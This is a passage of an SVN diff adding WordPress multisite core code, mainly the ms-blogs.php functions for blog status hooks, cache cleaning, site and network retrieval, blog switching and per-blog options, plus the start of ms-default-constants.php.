+			do_action( 'make_ham_blog', $blog_id );
+		}
+	}
+
+	// If mature status changed, issue actions.
+	if ( $details['mature'] != $current_details['mature'] ) {
+		if ( $details['mature'] == 1 ) {
+			/**
+			 * Fires when the 'mature' status is added to a blog.
+			 *
+			 * @since 3.1.0
+			 *
+			 * @param int $blog_id Blog ID.
+			 */
+			do_action( 'mature_blog', $blog_id );
+		} else {
+			/**
+			 * Fires when the 'mature' status is removed from a blog.
+			 *
+			 * @since 3.1.0
+			 *
+			 * @param int $blog_id Blog ID.
+			 */
+			do_action( 'unmature_blog', $blog_id );
+		}
+	}
+
+	// If archived status changed, issue actions.
+	if ( $details['archived'] != $current_details['archived'] ) {
+		if ( $details['archived'] == 1 ) {
+			/**
+			 * Fires when the 'archived' status is added to a blog.
+			 *
+			 * @since MU (3.0.0)
+			 *
+			 * @param int $blog_id Blog ID.
+			 */
+			do_action( 'archive_blog', $blog_id );
+		} else {
+			/**
+			 * Fires when the 'archived' status is removed from a blog.
+			 *
+			 * @since MU (3.0.0)
+			 *
+			 * @param int $blog_id Blog ID.
+			 */
+			do_action( 'unarchive_blog', $blog_id );
+		}
+	}
+
+	// If deleted status changed, issue actions.
+	if ( $details['deleted'] != $current_details['deleted'] ) {
+		if ( $details['deleted'] == 1 ) {
+			/**
+			 * Fires when the 'deleted' status is added to a blog.
+			 *
+			 * @since 3.5.0
+			 *
+			 * @param int $blog_id Blog ID.
+			 */
+			do_action( 'make_delete_blog', $blog_id );
+		} else {
+			/**
+			 * Fires when the 'deleted' status is removed from a blog.
+			 *
+			 * @since 3.5.0
+			 *
+			 * @param int $blog_id Blog ID.
+			 */
+			do_action( 'make_undelete_blog', $blog_id );
+		}
+	}
+
+	if ( isset( $details['public'] ) ) {
+		switch_to_blog( $blog_id );
+		update_option( 'blog_public', $details['public'] );
+		restore_current_blog();
+	}
+
+	clean_blog_cache( $blog_id );
+
+	return true;
+}
+
+/**
+ * Clean the blog cache
+ *
+ * @since 3.5.0
+ *
+ * @global bool $_wp_suspend_cache_invalidation
+ *
+ * @param WP_Site|int $blog The site object or ID to be cleared from cache.
+ */
+function clean_blog_cache( $blog ) {
+	global $_wp_suspend_cache_invalidation;
+
+	if ( ! empty( $_wp_suspend_cache_invalidation ) ) {
+		return;
+	}
+
+	if ( empty( $blog ) ) {
+		return;
+	}
+
+	$blog_id = $blog;
+	$blog = get_site( $blog_id );
+	if ( ! $blog ) {
+		if ( ! is_numeric( $blog_id ) ) {
+			return;
+		}
+
+		// Make sure a WP_Site object exists even when the site has been deleted.
+		$blog = new WP_Site( (object) array(
+			'blog_id' => $blog_id,
+			'domain'  => null,
+			'path'    => null,
+		) );
+	}
+
+	$blog_id = $blog->blog_id;
+	$domain_path_key = md5( $blog->domain . $blog->path );
+
+	wp_cache_delete( $blog_id, 'sites' );
+	wp_cache_delete( $blog_id, 'site-details' );
+	wp_cache_delete( $blog_id, 'blog-details' );
+	wp_cache_delete( $blog_id . 'short' , 'blog-details' );
+	wp_cache_delete( $domain_path_key, 'blog-lookup' );
+	wp_cache_delete( $domain_path_key, 'blog-id-cache' );
+	wp_cache_delete( 'current_blog_' . $blog->domain, 'site-options' );
+	wp_cache_delete( 'current_blog_' . $blog->domain . $blog->path, 'site-options' );
+
+	/**
+	 * Fires immediately after a site has been removed from the object cache.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @param int     $id              Blog ID.
+	 * @param WP_Site $blog            Site object.
+	 * @param string  $domain_path_key md5 hash of domain and path.
+	 */
+	do_action( 'clean_site_cache', $blog_id, $blog, $domain_path_key );
+
+	wp_cache_set( 'last_changed', microtime(), 'sites' );
+
+	/**
+	 * Fires after the blog details cache is cleared.
+	 *
+	 * @since 3.4.0
+	 * @deprecated 4.9.0 Use clean_site_cache
+	 *
+	 * @param int $blog_id Blog ID.
+	 */
+	do_action_deprecated( 'refresh_blog_details', array( $blog_id ), '4.9.0', 'clean_site_cache' );
+}
+
+/**
+ * Cleans the site details cache for a site.
+ *
+ * @since 4.7.4
+ *
+ * @param int $site_id Optional. Site ID. Default is the current site ID.
+ */
+function clean_site_details_cache( $site_id = 0 ) {
+	$site_id = (int) $site_id;
+	if ( ! $site_id ) {
+		$site_id = get_current_blog_id();
+	}
+
+	wp_cache_delete( $site_id, 'site-details' );
+	wp_cache_delete( $site_id, 'blog-details' );
+}
+
+/**
+ * Retrieves site data given a site ID or site object.
+ *
+ * Site data will be cached and returned after being passed through a filter.
+ * If the provided site is empty, the current site global will be used.
+ *
+ * @since 4.6.0
+ *
+ * @param WP_Site|int|null $site Optional. Site to retrieve. Default is the current site.
+ * @return WP_Site|null The site object or null if not found.
+ */
+function get_site( $site = null ) {
+	if ( empty( $site ) ) {
+		$site = get_current_blog_id();
+	}
+
+	if ( $site instanceof WP_Site ) {
+		$_site = $site;
+	} elseif ( is_object( $site ) ) {
+		$_site = new WP_Site( $site );
+	} else {
+		$_site = WP_Site::get_instance( $site );
+	}
+
+	if ( ! $_site ) {
+		return null;
+	}
+
+	/**
+	 * Fires after a site is retrieved.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @param WP_Site $_site Site data.
+	 */
+	$_site = apply_filters( 'get_site', $_site );
+
+	return $_site;
+}
+
+/**
+ * Adds any sites from the given ids to the cache that do not already exist in cache.
+ *
+ * @since 4.6.0
+ * @access private
+ *
+ * @see update_site_cache()
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param array $ids ID list.
+ */
+function _prime_site_caches( $ids ) {
+	global $wpdb;
+
+	$non_cached_ids = _get_non_cached_ids( $ids, 'sites' );
+	if ( ! empty( $non_cached_ids ) ) {
+		$fresh_sites = $wpdb->get_results( sprintf( "SELECT * FROM $wpdb->blogs WHERE blog_id IN (%s)", join( ",", array_map( 'intval', $non_cached_ids ) ) ) );
+
+		update_site_cache( $fresh_sites );
+	}
+}
+
+/**
+ * Updates sites in cache.
+ *
+ * @since 4.6.0
+ *
+ * @param array $sites Array of site objects.
+ */
+function update_site_cache( $sites ) {
+	if ( ! $sites ) {
+		return;
+	}
+
+	foreach ( $sites as $site ) {
+		wp_cache_add( $site->blog_id, $site, 'sites' );
+		wp_cache_add( $site->blog_id . 'short', $site, 'blog-details' );
+	}
+}
+
+/**
+ * Retrieves a list of sites matching requested arguments.
+ *
+ * @since 4.6.0
+ * @since 4.8.0 Introduced the 'lang_id', 'lang__in', and 'lang__not_in' parameters.
+ *
+ * @see WP_Site_Query::parse_query()
+ *
+ * @param string|array $args {
+ *     Optional. Array or query string of site query parameters. Default empty.
+ *
+ *     @type array        $site__in          Array of site IDs to include. Default empty.
+ *     @type array        $site__not_in      Array of site IDs to exclude. Default empty.
+ *     @type bool         $count             Whether to return a site count (true) or array of site objects.
+ *                                           Default false.
+ *     @type array        $date_query        Date query clauses to limit sites by. See WP_Date_Query.
+ *                                           Default null.
+ *     @type string       $fields            Site fields to return. Accepts 'ids' (returns an array of site IDs)
+ *                                           or empty (returns an array of complete site objects). Default empty.
+ *     @type int          $ID                A site ID to only return that site. Default empty.
+ *     @type int          $number            Maximum number of sites to retrieve. Default 100.
+ *     @type int          $offset            Number of sites to offset the query. Used to build LIMIT clause.
+ *                                           Default 0.
+ *     @type bool         $no_found_rows     Whether to disable the `SQL_CALC_FOUND_ROWS` query. Default true.
+ *     @type string|array $orderby           Site status or array of statuses. Accepts 'id', 'domain', 'path',
+ *                                           'network_id', 'last_updated', 'registered', 'domain_length',
+ *                                           'path_length', 'site__in' and 'network__in'. Also accepts false,
+ *                                           an empty array, or 'none' to disable `ORDER BY` clause.
+ *                                           Default 'id'.
+ *     @type string       $order             How to order retrieved sites. Accepts 'ASC', 'DESC'. Default 'ASC'.
+ *     @type int          $network_id        Limit results to those affiliated with a given network ID. If 0,
+ *                                           include all networks. Default 0.
+ *     @type array        $network__in       Array of network IDs to include affiliated sites for. Default empty.
+ *     @type array        $network__not_in   Array of network IDs to exclude affiliated sites for. Default empty.
+ *     @type string       $domain            Limit results to those affiliated with a given domain. Default empty.
+ *     @type array        $domain__in        Array of domains to include affiliated sites for. Default empty.
+ *     @type array        $domain__not_in    Array of domains to exclude affiliated sites for. Default empty.
+ *     @type string       $path              Limit results to those affiliated with a given path. Default empty.
+ *     @type array        $path__in          Array of paths to include affiliated sites for. Default empty.
+ *     @type array        $path__not_in      Array of paths to exclude affiliated sites for. Default empty.
+ *     @type int          $public            Limit results to public sites. Accepts '1' or '0'. Default empty.
+ *     @type int          $archived          Limit results to archived sites. Accepts '1' or '0'. Default empty.
+ *     @type int          $mature            Limit results to mature sites. Accepts '1' or '0'. Default empty.
+ *     @type int          $spam              Limit results to spam sites. Accepts '1' or '0'. Default empty.
+ *     @type int          $deleted           Limit results to deleted sites. Accepts '1' or '0'. Default empty.
+ *     @type int          $lang_id           Limit results to a language ID. Default empty.
+ *     @type array        $lang__in          Array of language IDs to include affiliated sites for. Default empty.
+ *     @type array        $lang__not_in      Array of language IDs to exclude affiliated sites for. Default empty.
+ *     @type string       $search            Search term(s) to retrieve matching sites for. Default empty.
+ *     @type array        $search_columns    Array of column names to be searched. Accepts 'domain' and 'path'.
+ *                                           Default empty array.
+ *     @type bool         $update_site_cache Whether to prime the cache for found sites. Default true.
+ * }
+ * @return array|int List of WP_Site objects, a list of site ids when 'fields' is set to 'ids',
+ *                   or the number of sites when 'count' is passed as a query var.
+ */
+function get_sites( $args = array() ) {
+	$query = new WP_Site_Query();
+
+	return $query->query( $args );
+}
+
+/**
+ * Retrieve option value for a given blog id based on name of option.
+ *
+ * If the option does not exist or does not have a value, then the return value
+ * will be false. This is useful to check whether you need to install an option
+ * and is commonly used during installation of plugin options and to test
+ * whether upgrading is required.
+ *
+ * If the option was serialized then it will be unserialized when it is returned.
+ *
+ * @since MU (3.0.0)
+ *
+ * @param int    $id      A blog ID. Can be null to refer to the current blog.
+ * @param string $option  Name of option to retrieve. Expected to not be SQL-escaped.
+ * @param mixed  $default Optional. Default value to return if the option does not exist.
+ * @return mixed Value set for the option.
+ */
+function get_blog_option( $id, $option, $default = false ) {
+	$id = (int) $id;
+
+	if ( empty( $id ) )
+		$id = get_current_blog_id();
+
+	if ( get_current_blog_id() == $id )
+		return get_option( $option, $default );
+
+	switch_to_blog( $id );
+	$value = get_option( $option, $default );
+	restore_current_blog();
+
+	/**
+	 * Filters a blog option value.
+	 *
+	 * The dynamic portion of the hook name, `$option`, refers to the blog option name.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param string  $value The option value.
+	 * @param int     $id    Blog ID.
+	 */
+	return apply_filters( "blog_option_{$option}", $value, $id );
+}
+
+/**
+ * Add a new option for a given blog id.
+ *
+ * You do not need to serialize values. If the value needs to be serialized, then
+ * it will be serialized before it is inserted into the database. Remember,
+ * resources can not be serialized or added as an option.
+ *
+ * You can create options without values and then update the values later.
+ * Existing options will not be updated and checks are performed to ensure that you
+ * aren't adding a protected WordPress option. Care should be taken to not name
+ * options the same as the ones which are protected.
+ *
+ * @since MU (3.0.0)
+ *
+ * @param int    $id     A blog ID. Can be null to refer to the current blog.
+ * @param string $option Name of option to add. Expected to not be SQL-escaped.
+ * @param mixed  $value  Optional. Option value, can be anything. Expected to not be SQL-escaped.
+ * @return bool False if option was not added and true if option was added.
+ */
+function add_blog_option( $id, $option, $value ) {
+	$id = (int) $id;
+
+	if ( empty( $id ) )
+		$id = get_current_blog_id();
+
+	if ( get_current_blog_id() == $id )
+		return add_option( $option, $value );
+
+	switch_to_blog( $id );
+	$return = add_option( $option, $value );
+	restore_current_blog();
+
+	return $return;
+}
+
+/**
+ * Removes option by name for a given blog id. Prevents removal of protected WordPress options.
+ *
+ * @since MU (3.0.0)
+ *
+ * @param int    $id     A blog ID. Can be null to refer to the current blog.
+ * @param string $option Name of option to remove. Expected to not be SQL-escaped.
+ * @return bool True, if option is successfully deleted. False on failure.
+ */
+function delete_blog_option( $id, $option ) {
+	$id = (int) $id;
+
+	if ( empty( $id ) )
+		$id = get_current_blog_id();
+
+	if ( get_current_blog_id() == $id )
+		return delete_option( $option );
+
+	switch_to_blog( $id );
+	$return = delete_option( $option );
+	restore_current_blog();
+
+	return $return;
+}
+
+/**
+ * Update an option for a particular blog.
+ *
+ * @since MU (3.0.0)
+ *
+ * @param int    $id         The blog id.
+ * @param string $option     The option key.
+ * @param mixed  $value      The option value.
+ * @param mixed  $deprecated Not used.
+ * @return bool True on success, false on failure.
+ */
+function update_blog_option( $id, $option, $value, $deprecated = null ) {
+	$id = (int) $id;
+
+	if ( null !== $deprecated  )
+		_deprecated_argument( __FUNCTION__, '3.1.0' );
+
+	if ( get_current_blog_id() == $id )
+		return update_option( $option, $value );
+
+	switch_to_blog( $id );
+	$return = update_option( $option, $value );
+	restore_current_blog();
+
+	return $return;
+}
+
+/**
+ * Switch the current blog.
+ *
+ * This function is useful if you need to pull posts, or other information,
+ * from other blogs. You can switch back afterwards using restore_current_blog().
+ *
+ * Things that aren't switched:
+ *  - plugins. See #14941
+ *
+ * @see restore_current_blog()
+ * @since MU (3.0.0)
+ *
+ * @global wpdb            $wpdb
+ * @global int             $blog_id
+ * @global array           $_wp_switched_stack
+ * @global bool            $switched
+ * @global string          $table_prefix
+ * @global WP_Object_Cache $wp_object_cache
+ *
+ * @param int  $new_blog   The id of the blog you want to switch to. Default: current blog
+ * @param bool $deprecated Deprecated argument
+ * @return true Always returns True.
+ */
+function switch_to_blog( $new_blog, $deprecated = null ) {
+	global $wpdb;
+
+	$blog_id = get_current_blog_id();
+	if ( empty( $new_blog ) ) {
+		$new_blog = $blog_id;
+	}
+
+	$GLOBALS['_wp_switched_stack'][] = $blog_id;
+
+	/*
+	 * If we're switching to the same blog id that we're on,
+	 * set the right vars, do the associated actions, but skip
+	 * the extra unnecessary work
+	 */
+	if ( $new_blog == $blog_id ) {
+		/**
+		 * Fires when the blog is switched.
+		 *
+		 * @since MU (3.0.0)
+		 *
+		 * @param int $new_blog New blog ID.
+		 * @param int $new_blog Blog ID.
+		 */
+		do_action( 'switch_blog', $new_blog, $new_blog );
+		$GLOBALS['switched'] = true;
+		return true;
+	}
+
+	$wpdb->set_blog_id( $new_blog );
+	$GLOBALS['table_prefix'] = $wpdb->get_blog_prefix();
+	$prev_blog_id = $blog_id;
+	$GLOBALS['blog_id'] = $new_blog;
+
+	if ( function_exists( 'wp_cache_switch_to_blog' ) ) {
+		wp_cache_switch_to_blog( $new_blog );
+	} else {
+		global $wp_object_cache;
+
+		if ( is_object( $wp_object_cache ) && isset( $wp_object_cache->global_groups ) ) {
+			$global_groups = $wp_object_cache->global_groups;
+		} else {
+			$global_groups = false;
+		}
+		wp_cache_init();
+
+		if ( function_exists( 'wp_cache_add_global_groups' ) ) {
+			if ( is_array( $global_groups ) ) {
+				wp_cache_add_global_groups( $global_groups );
+			} else {
+				wp_cache_add_global_groups( array( 'users', 'userlogins', 'usermeta', 'user_meta', 'useremail', 'userslugs', 'site-transient', 'site-options', 'blog-lookup', 'blog-details', 'rss', 'global-posts', 'blog-id-cache', 'networks', 'sites', 'site-details' ) );
+			}
+			wp_cache_add_non_persistent_groups( array( 'counts', 'plugins' ) );
+		}
+	}
+
+	/** This filter is documented in wp-includes/ms-blogs.php */
+	do_action( 'switch_blog', $new_blog, $prev_blog_id );
+	$GLOBALS['switched'] = true;
+
+	return true;
+}
+
+/**
+ * Restore the current blog, after calling switch_to_blog()
+ *
+ * @see switch_to_blog()
+ * @since MU (3.0.0)
+ *
+ * @global wpdb            $wpdb
+ * @global array           $_wp_switched_stack
+ * @global int             $blog_id
+ * @global bool            $switched
+ * @global string          $table_prefix
+ * @global WP_Object_Cache $wp_object_cache
+ *
+ * @return bool True on success, false if we're already on the current blog
+ */
+function restore_current_blog() {
+	global $wpdb;
+
+	if ( empty( $GLOBALS['_wp_switched_stack'] ) ) {
+		return false;
+	}
+
+	$blog = array_pop( $GLOBALS['_wp_switched_stack'] );
+	$blog_id = get_current_blog_id();
+
+	if ( $blog_id == $blog ) {
+		/** This filter is documented in wp-includes/ms-blogs.php */
+		do_action( 'switch_blog', $blog, $blog );
+		// If we still have items in the switched stack, consider ourselves still 'switched'
+		$GLOBALS['switched'] = ! empty( $GLOBALS['_wp_switched_stack'] );
+		return true;
+	}
+
+	$wpdb->set_blog_id( $blog );
+	$prev_blog_id = $blog_id;
+	$GLOBALS['blog_id'] = $blog;
+	$GLOBALS['table_prefix'] = $wpdb->get_blog_prefix();
+
+	if ( function_exists( 'wp_cache_switch_to_blog' ) ) {
+		wp_cache_switch_to_blog( $blog );
+	} else {
+		global $wp_object_cache;
+
+		if ( is_object( $wp_object_cache ) && isset( $wp_object_cache->global_groups ) ) {
+			$global_groups = $wp_object_cache->global_groups;
+		} else {
+			$global_groups = false;
+		}
+
+		wp_cache_init();
+
+		if ( function_exists( 'wp_cache_add_global_groups' ) ) {
+			if ( is_array( $global_groups ) ) {
+				wp_cache_add_global_groups( $global_groups );
+			} else {
+				wp_cache_add_global_groups( array( 'users', 'userlogins', 'usermeta', 'user_meta', 'useremail', 'userslugs', 'site-transient', 'site-options', 'blog-lookup', 'blog-details', 'rss', 'global-posts', 'blog-id-cache', 'networks', 'sites', 'site-details' ) );
+			}
+			wp_cache_add_non_persistent_groups( array( 'counts', 'plugins' ) );
+		}
+	}
+
+	/** This filter is documented in wp-includes/ms-blogs.php */
+	do_action( 'switch_blog', $blog, $prev_blog_id );
+
+	// If we still have items in the switched stack, consider ourselves still 'switched'
+	$GLOBALS['switched'] = ! empty( $GLOBALS['_wp_switched_stack'] );
+
+	return true;
+}
+
+/**
+ * Switches the initialized roles and current user capabilities to another site.
+ *
+ * @since 4.9.0
+ *
+ * @param int $new_site_id New site ID.
+ * @param int $old_site_id Old site ID.
+ */
+function wp_switch_roles_and_user( $new_site_id, $old_site_id ) {
+	if ( $new_site_id == $old_site_id ) {
+		return;
+	}
+
+	if ( ! did_action( 'init' ) ) {
+		return;
+	}
+
+	wp_roles()->for_site( $new_site_id );
+	wp_get_current_user()->for_site( $new_site_id );
+}
+
+/**
+ * Determines if switch_to_blog() is in effect
+ *
+ * @since 3.5.0
+ *
+ * @global array $_wp_switched_stack
+ *
+ * @return bool True if switched, false otherwise.
+ */
+function ms_is_switched() {
+	return ! empty( $GLOBALS['_wp_switched_stack'] );
+}
+
+/**
+ * Check if a particular blog is archived.
+ *
+ * @since MU (3.0.0)
+ *
+ * @param int $id The blog id
+ * @return string Whether the blog is archived or not
+ */
+function is_archived( $id ) {
+	return get_blog_status($id, 'archived');
+}
+
+/**
+ * Update the 'archived' status of a particular blog.
+ *
+ * @since MU (3.0.0)
+ *
+ * @param int    $id       The blog id
+ * @param string $archived The new status
+ * @return string $archived
+ */
+function update_archived( $id, $archived ) {
+	update_blog_status($id, 'archived', $archived);
+	return $archived;
+}
+
+/**
+ * Update a blog details field.
+ *
+ * @since MU (3.0.0)
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param int    $blog_id BLog ID
+ * @param string $pref    A field name
+ * @param string $value   Value for $pref
+ * @param null   $deprecated
+ * @return string|false $value
+ */
+function update_blog_status( $blog_id, $pref, $value, $deprecated = null ) {
+	global $wpdb;
+
+	if ( null !== $deprecated  )
+		_deprecated_argument( __FUNCTION__, '3.1.0' );
+
+	if ( ! in_array( $pref, array( 'site_id', 'domain', 'path', 'registered', 'last_updated', 'public', 'archived', 'mature', 'spam', 'deleted', 'lang_id') ) )
+		return $value;
+
+	$result = $wpdb->update( $wpdb->blogs, array($pref => $value, 'last_updated' => current_time('mysql', true)), array('blog_id' => $blog_id) );
+
+	if ( false === $result )
+		return false;
+
+	clean_blog_cache( $blog_id );
+
+	if ( 'spam' == $pref ) {
+		if ( $value == 1 ) {
+			/** This filter is documented in wp-includes/ms-blogs.php */
+			do_action( 'make_spam_blog', $blog_id );
+		} else {
+			/** This filter is documented in wp-includes/ms-blogs.php */
+			do_action( 'make_ham_blog', $blog_id );
+		}
+	} elseif ( 'mature' == $pref ) {
+		if ( $value == 1 ) {
+			/** This filter is documented in wp-includes/ms-blogs.php */
+			do_action( 'mature_blog', $blog_id );
+		} else {
+			/** This filter is documented in wp-includes/ms-blogs.php */
+			do_action( 'unmature_blog', $blog_id );
+		}
+	} elseif ( 'archived' == $pref ) {
+		if ( $value == 1 ) {
+			/** This filter is documented in wp-includes/ms-blogs.php */
+			do_action( 'archive_blog', $blog_id );
+		} else {
+			/** This filter is documented in wp-includes/ms-blogs.php */
+			do_action( 'unarchive_blog', $blog_id );
+		}
+	} elseif ( 'deleted' == $pref ) {
+		if ( $value == 1 ) {
+			/** This filter is documented in wp-includes/ms-blogs.php */
+			do_action( 'make_delete_blog', $blog_id );
+		} else {
+			/** This filter is documented in wp-includes/ms-blogs.php */
+			do_action( 'make_undelete_blog', $blog_id );
+		}
+	} elseif ( 'public' == $pref ) {
+		/**
+		 * Fires after the current blog's 'public' setting is updated.
+		 *
+		 * @since MU (3.0.0)
+		 *
+		 * @param int    $blog_id Blog ID.
+		 * @param string $value   The value of blog status.
+ 		 */
+		do_action( 'update_blog_public', $blog_id, $value ); // Moved here from update_blog_public().
+	}
+
+	return $value;
+}
+
+/**
+ * Get a blog details field.
+ *
+ * @since MU (3.0.0)
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param int    $id   The blog id
+ * @param string $pref A field name
+ * @return bool|string|null $value
+ */
+function get_blog_status( $id, $pref ) {
+	global $wpdb;
+
+	$details = get_site( $id );
+	if ( $details )
+		return $details->$pref;
+
+	return $wpdb->get_var( $wpdb->prepare("SELECT %s FROM {$wpdb->blogs} WHERE blog_id = %d", $pref, $id) );
+}
+
+/**
+ * Get a list of most recently updated blogs.
+ *
+ * @since MU (3.0.0)
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param mixed $deprecated Not used
+ * @param int   $start      The offset
+ * @param int   $quantity   The maximum number of blogs to retrieve. Default is 40.
+ * @return array The list of blogs
+ */
+function get_last_updated( $deprecated = '', $start = 0, $quantity = 40 ) {
+	global $wpdb;
+
+	if ( ! empty( $deprecated ) )
+		_deprecated_argument( __FUNCTION__, 'MU' ); // never used
+
+	return $wpdb->get_results( $wpdb->prepare( "SELECT blog_id, domain, path FROM $wpdb->blogs WHERE site_id = %d AND public = '1' AND archived = '0' AND mature = '0' AND spam = '0' AND deleted = '0' AND last_updated != '0000-00-00 00:00:00' ORDER BY last_updated DESC limit %d, %d", get_current_network_id(), $start, $quantity ), ARRAY_A );
+}
+
+/**
+ * Retrieves a list of networks.
+ *
+ * @since 4.6.0
+ *
+ * @param string|array $args Optional. Array or string of arguments. See WP_Network_Query::parse_query()
+ *                           for information on accepted arguments. Default empty array.
+ * @return array|int List of WP_Network objects, a list of network ids when 'fields' is set to 'ids',
+ *                   or the number of networks when 'count' is passed as a query var.
+ */
+function get_networks( $args = array() ) {
+	$query = new WP_Network_Query();
+
+	return $query->query( $args );
+}
+
+/**
+ * Retrieves network data given a network ID or network object.
+ *
+ * Network data will be cached and returned after being passed through a filter.
+ * If the provided network is empty, the current network global will be used.
+ *
+ * @since 4.6.0
+ *
+ * @global WP_Network $current_site
+ *
+ * @param WP_Network|int|null $network Optional. Network to retrieve. Default is the current network.
+ * @return WP_Network|null The network object or null if not found.
+ */
+function get_network( $network = null ) {
+	global $current_site;
+	if ( empty( $network ) && isset( $current_site ) ) {
+		$network = $current_site;
+	}
+
+	if ( $network instanceof WP_Network ) {
+		$_network = $network;
+	} elseif ( is_object( $network ) ) {
+		$_network = new WP_Network( $network );
+	} else {
+		$_network = WP_Network::get_instance( $network );
+	}
+
+	if ( ! $_network ) {
+		return null;
+	}
+
+	/**
+	 * Fires after a network is retrieved.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @param WP_Network $_network Network data.
+	 */
+	$_network = apply_filters( 'get_network', $_network );
+
+	return $_network;
+}
+
+/**
+ * Removes a network from the object cache.
+ *
+ * @since 4.6.0
+ *
+ * @global bool $_wp_suspend_cache_invalidation
+ *
+ * @param int|array $ids Network ID or an array of network IDs to remove from cache.
+ */
+function clean_network_cache( $ids ) {
+	global $_wp_suspend_cache_invalidation;
+
+	if ( ! empty( $_wp_suspend_cache_invalidation ) ) {
+		return;
+	}
+
+	foreach ( (array) $ids as $id ) {
+		wp_cache_delete( $id, 'networks' );
+
+		/**
+		 * Fires immediately after a network has been removed from the object cache.
+		 *
+		 * @since 4.6.0
+		 *
+		 * @param int $id Network ID.
+		 */
+		do_action( 'clean_network_cache', $id );
+	}
+
+	wp_cache_set( 'last_changed', microtime(), 'networks' );
+}
+
+/**
+ * Updates the network cache of given networks.
+ *
+ * Will add the networks in $networks to the cache. If network ID already exists
+ * in the network cache then it will not be updated. The network is added to the
+ * cache using the network group with the key using the ID of the networks.
+ *
+ * @since 4.6.0
+ *
+ * @param array $networks Array of network row objects.
+ */
+function update_network_cache( $networks ) {
+	foreach ( (array) $networks as $network ) {
+		wp_cache_add( $network->id, $network, 'networks' );
+	}
+}
+
+/**
+ * Adds any networks from the given IDs to the cache that do not already exist in cache.
+ *
+ * @since 4.6.0
+ * @access private
+ *
+ * @see update_network_cache()
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param array $network_ids Array of network IDs.
+ */
+function _prime_network_caches( $network_ids ) {
+	global $wpdb;
+
+	$non_cached_ids = _get_non_cached_ids( $network_ids, 'networks' );
+	if ( !empty( $non_cached_ids ) ) {
+		$fresh_networks = $wpdb->get_results( sprintf( "SELECT $wpdb->site.* FROM $wpdb->site WHERE id IN (%s)", join( ",", array_map( 'intval', $non_cached_ids ) ) ) );
+
+		update_network_cache( $fresh_networks );
+	}
+}
+
+/**
+ * Handler for updating the site's last updated date when a post is published or
+ * an already published post is changed.
+ *
+ * @since 3.3.0
+ *
+ * @param string $new_status The new post status
+ * @param string $old_status The old post status
+ * @param object $post       Post object
+ */
+function _update_blog_date_on_post_publish( $new_status, $old_status, $post ) {
+	$post_type_obj = get_post_type_object( $post->post_type );
+	if ( ! $post_type_obj || ! $post_type_obj->public ) {
+		return;
+	}
+
+	if ( 'publish' != $new_status && 'publish' != $old_status ) {
+		return;
+	}
+
+	// Post was freshly published, published post was saved, or published post was unpublished.
+
+	wpmu_update_blogs_date();
+}
+
+/**
+ * Handler for updating the current site's last updated date when a published
+ * post is deleted.
+ *
+ * @since 3.4.0
+ *
+ * @param int $post_id Post ID
+ */
+function _update_blog_date_on_post_delete( $post_id ) {
+	$post = get_post( $post_id );
+
+	$post_type_obj = get_post_type_object( $post->post_type );
+	if ( ! $post_type_obj || ! $post_type_obj->public ) {
+		return;
+	}
+
+	if ( 'publish' != $post->post_status ) {
+		return;
+	}
+
+	wpmu_update_blogs_date();
+}
+
+/**
+ * Handler for updating the current site's posts count when a post is deleted.
+ *
+ * @since 4.0.0
+ *
+ * @param int $post_id Post ID.
+ */
+function _update_posts_count_on_delete( $post_id ) {
+	$post = get_post( $post_id );
+
+	if ( ! $post || 'publish' !== $post->post_status || 'post' !== $post->post_type ) {
+		return;
+	}
+
+	update_posts_count();
+}
+
+/**
+ * Handler for updating the current site's posts count when a post status changes.
+ *
+ * @since 4.0.0
+ * @since 4.9.0 Added the `$post` parameter.
+ *
+ * @param string  $new_status The status the post is changing to.
+ * @param string  $old_status The status the post is changing from.
+ * @param WP_Post $post       Post object
+ */
+function _update_posts_count_on_transition_post_status( $new_status, $old_status, $post = null ) {
+	if ( $new_status === $old_status ) {
+		return;
+	}
+
+	if ( 'post' !== get_post_type( $post ) ) {
+		return;
+	}
+
+	if ( 'publish' !== $new_status && 'publish' !== $old_status ) {
+		return;
+	}
+
+	update_posts_count();
+}
Index: /tags/5.0.20/src/wp-includes/ms-default-constants.php
===================================================================
--- /tags/5.0.20/src/wp-includes/ms-default-constants.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/ms-default-constants.php	(revision 56912)
@@ -0,0 +1,162 @@
+<?php
+/**
+ * Defines constants and global variables that can be overridden, generally in wp-config.php.
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since 3.0.0
+ */
+
+/**
+ * Defines Multisite upload constants.
+ *
+ * Exists for backward compatibility with legacy file-serving through
+ * wp-includes/ms-files.php (wp-content/blogs.php in MU).
+ *
+ * @since 3.0.0
+ */
+function ms_upload_constants() {
+	// This filter is attached in ms-default-filters.php but that file is not included during SHORTINIT.
+	add_filter( 'default_site_option_ms_files_rewriting', '__return_true' );
+
+	if ( ! get_site_option( 'ms_files_rewriting' ) )
+		return;
+
+	// Base uploads dir relative to ABSPATH
+	if ( !defined( 'UPLOADBLOGSDIR' ) )
+		define( 'UPLOADBLOGSDIR', 'wp-content/blogs.dir' );
+
+	// Note, the main site in a post-MU network uses wp-content/uploads.
+	// This is handled in wp_upload_dir() by ignoring UPLOADS for this case.
+	if ( ! defined( 'UPLOADS' ) ) {
+		$site_id = get_current_blog_id();
+
+		define( 'UPLOADS', UPLOADBLOGSDIR . '/' . $site_id . '/files/' );
+
+		// Uploads dir relative to ABSPATH
+		if ( 'wp-content/blogs.dir' == UPLOADBLOGSDIR && ! defined( 'BLOGUPLOADDIR' ) )
+			define( 'BLOGUPLOADDIR', WP_CONTENT_DIR . '/blogs.dir/' . $site_id . '/files/' );
+	}
+}
+
+/**
+ * Defines Multisite cookie constants.
+ *
+ * @since 3.0.0
+ */
+function ms_cookie_constants(  ) {
+	$current_network = get_network();
+
+	/**
+	 * @since 1.2.0
+	 */
+	if ( !defined( 'COOKIEPATH' ) )
+		define( 'COOKIEPATH', $current_network->path );
+
+	/**
+	 * @since 1.5.0
+	 */
+	if ( !defined( 'SITECOOKIEPATH' ) )
+		define( 'SITECOOKIEPATH', $current_network->path );
+
+	/**
+	 * @since 2.6.0
+	 */
